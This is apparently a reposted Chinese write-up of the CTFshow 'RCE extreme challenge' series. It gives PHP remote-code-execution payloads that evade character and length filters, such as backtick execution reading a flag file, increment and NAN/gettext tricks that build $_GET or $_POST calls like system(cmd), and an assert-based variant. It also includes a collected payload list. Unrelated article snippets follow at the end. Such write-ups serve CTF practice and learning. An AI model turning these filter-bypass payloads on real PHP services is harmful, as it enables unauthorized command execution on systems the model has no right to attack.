CTFSHOW 每周大挑战 RCE极限挑战

RCE挑战1

开题直接给了源码

image-20230702202834520

过滤了括号和点号。

使用内敛绕过。

payload:

code=echo `tac /f1agaaa`;

image-20230702235452518

RCE挑战2

源码直接给了。

基本把能用的都过滤了,只剩下$()_+;[],.=/字符,自增RCE无疑。

//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);

payload:

ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B                 //POST?_=system&__=tac /f1agaaa                   //GET

image-20230703000659700

RCE挑战3

开题直接给了源码,和上题差不多,可以使用1和0,但是加了长度限制。

image-20230703000904202

解法的话,就是可以用到PHP中的NAN和INF:

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

如何得到呢?可以这样:

$_=C/C;//NAN
$_=1/C//INF

C/C这里,实际上运算的时候会变成0/0。而下面的则是1/0。

但是这还不是字符串,需要来个拼接即可,这样就可以去到N:

$_=C/C.C;
var_dump($_[0]);

这样不用通过从C自增到N,可以减少很多的长度。

接下来就是想办法构造_GET,慢慢自增来拿到字母,然后拼接:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;

最后这样即可:

$$_[0]($$_[1]);

相当于$_GET[0]($_GET[1])

所以就是:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);

post传的话还需要url编码。

但是这个长度是106,楽。重新构造一次吧。

$_=([].[])[0];    //得到Array
$_=($_/$_.$_)[0];   //__=N
$_++;  //O
$__=$_.$_++;  //拼接PO
$_++;$_++;$_++;  //S
$__.=$_;
$_++;  //T
$_=_.$__.$_;  //拼接_和POST
$$_[0]($$_[1]);  //$_POST[0]($_POST[1])

所有可行的payload:

$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])

image-20230703003012187

RCE挑战4

长度变为了小于84。

image-20230703003122478

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])

RCE挑战5

长度变为了小于73。

image-20230703004318050

$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
//$_POST[_POST]($_POST[_])# 不可见字符替换
$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);

另一种方法:phpinfo中多了个gettext()扩展插件,使得我们可以用_()直接转为字符串

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])$_=$a.$a++;//PO
至于为什么是得到PO而不是OP或者OO之类的,官方wp上师傅们讨论的结果是:PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_和$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。

奉上收集的payload:

//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//相当于assert($_POST[_]);   然后post传入   _=phpinfo();            测试发现7.0.12以上版本不可使用$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);
//$_GET[0]($_GET[1])$a=(0/0);$a.=_;$a=$a[0];$a++;$o=$a++;$p=$a++;$a++;$a++;$s=$a++;$t=$a;$_=_;$_.=$p.$o.$s.$t;$$_[0]($$_[1]);
//$_POST[0]($_POST[1]);$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);
//$_POST[0]($_POST[1])$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
//$_POST[_]($_POST[0])$a=_(a/a)[a];++$a;$_=$a.$a++;$a++;$a++;$_=_.$_.++$a.++$a;$$_[a]($$_[_]);
//$_POST[a]($_POST[_])$_=_(a/a)[_];$a=++$_;$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);
//$_POST[_POST]($_POST[_])$_=_(_._)[_];$%FA=++$_;$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
//将拼接放到同一行,不可见字符替换php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//$_GET[1]($_GET[2])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/15872.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于simulink使用二维规范化互相关进行模式匹配和目标跟踪(附源码)

一、前言 此示例演示如何使用二维规范化互相关进行模式匹配和目标跟踪。双击“编辑参数”块以选择要检测的类似目标的数量。您还可以更改金字塔因子。通过增加它&#xff0c;您可以更快地将目标模板与每个视频帧匹配。更改金字塔因子可能需要更改阈值。 此外&#xff0c;还可…

华为云流水线CodeArts Pipeline怎么样?能实现哪些功能?

华为云流水线服务CodeArts Pipeline&#xff0c;旨在提升编排体验&#xff0c;开放插件平台&#xff0c;并提供标准化的DevOps企业治理模型&#xff0c;将华为公司内的优秀研发实践赋能给伙伴和客户。 灵活编排、高效调度 开放流水线插件 内置企业DevOps研发治理模型 体验通…

学习单片机的三个步骤:基础知识、编程语言和实践项目

当然&#xff01;学习单片机的过程可以分为以下三个步骤&#xff1a; 学习基础知识&#xff1a;在开始学习单片机之前&#xff0c;首先需要掌握一些基础知识。了解数字电子学和模拟电子学的基本原理是很重要的&#xff0c;包括数字和模拟信号、逻辑门、计数器、寄存器等。还需…

Python: 如何批量预处理FY4A L1 DISK和REGC产品?(辐射定标/裁剪/GLT校正/HDF5转TIFF文件等)

目录 01 前言 1.1 想要说 1.2 Requirements 1.3 程序适用数据集 02 函数说明 2.1 读取HDF5文件某一数据集 2.2 读取HDF5文件数据集属性 2.3 对FY4A数据集进行辐射定标 2.4 基于官方地理对照表获取经纬度数据(仅适用DISK) 2.5 依据行列号计算经纬度数据(仅适用DISK) …

【观察】新五丰联合华为“躬身实践”,推动猪场实现智慧化跨越升级

中国是全球的生猪生产和消费大国&#xff0c;生猪存栏量、出栏量以及猪肉产量均居世界第一。不仅如此&#xff0c;我国的人口数量和饮食结构还决定了猪肉在国内肉类消费中具有“不可撼动”的地位&#xff0c;可以说猪肉的供应与国计民生息息相关。 数据显示&#xff0c;2022年中…

4-软件错误(BUG)

目录 1.什么是bug? 2.如何描述一个bug? ①发现问题的版本 ②问题出现的环境 ③错误重现的步骤 ④预期行为的描述 ⑤错误行为的描述 ⑥其他 ⑦不要把多个bug放到一起 PS&#xff1a;案例1 PS&#xff1a;案例2 3.如何定义bug的级别&#xff1f; ①Blocker&#x…

Kubernetes Pod卷 - Pod镜像的升级和回滚 - 探针

目录 扩展&#xff1a; Pod创建的拓扑图&#xff1a; 提出的问题&#xff1a; Pod 卷的使用&#xff1a;Pod的数据持久化问题 配置 Pod 以使用卷进行存储 参考文档&#xff1a;配置 Pod 以使用卷进行存储 | Kubernetes 有状态应用和无状态应用&#xff1a; Pod 配置卷 1…

linux 系统errno 对应参考及代码

结论 linux下系统errno都有对应的说明描述&#xff0c;发生错误时获取errno即可知道具体问题描述 如下图 代码如下 golang版 package main import ("syscall""strings""fmt" ) func main() {for i : 0; i < 200; i {if !strings.HasPrefi…

uniapp 微信小程序导航功能(单个地址)

获取终点的坐标&#xff0c;根据终点的坐标&#xff0c;终点名称&#xff0c;终点详细地址&#xff0c;调起地图导航到第三方APP 1、针对单个地址导航 <template><view click"toGetLocation"></view><view click"toNavigation">&…

机器学习20:嵌入-Embeddings

嵌入&#xff08;Embeddings&#xff09;是一个相对低维的空间&#xff0c;我们可以将高维向量转换到其中。嵌入使得对大型输入&#xff08;例如表示单词的稀疏向量&#xff09;进行机器学习变得更加容易。理想情况下&#xff0c;嵌入通过将语义相似的输入紧密地放置在嵌入空间…

在SpringBoot中整合RabbitMQ(19版idea)

首先呢就需要我们在RabbitMQ的可视化端口创建一个虚拟机,我创建的为 xm 1.创建SpringBoot项目 到这里SpringBoot项目就创建成功了 2.创建测试类 Testpublic void testConnection() throws Exception {//1.创建连接工厂ConnectionFactory factory new ConnectionFactory…

windows PE 指南(基础部分)(一)

windows PE 指南&#xff08;基础部分&#xff09;&#xff08;一&#xff09; 查找软件注册码64位汇编和编译连接PE和COFF文件简介PE和COFF文件布局简介源代码的作用obj的作用PE的作用 COFF格式文件布局概览PE格式文件布局概览COFF格式和PE格式的布局总结 COFF头COFF File Hea…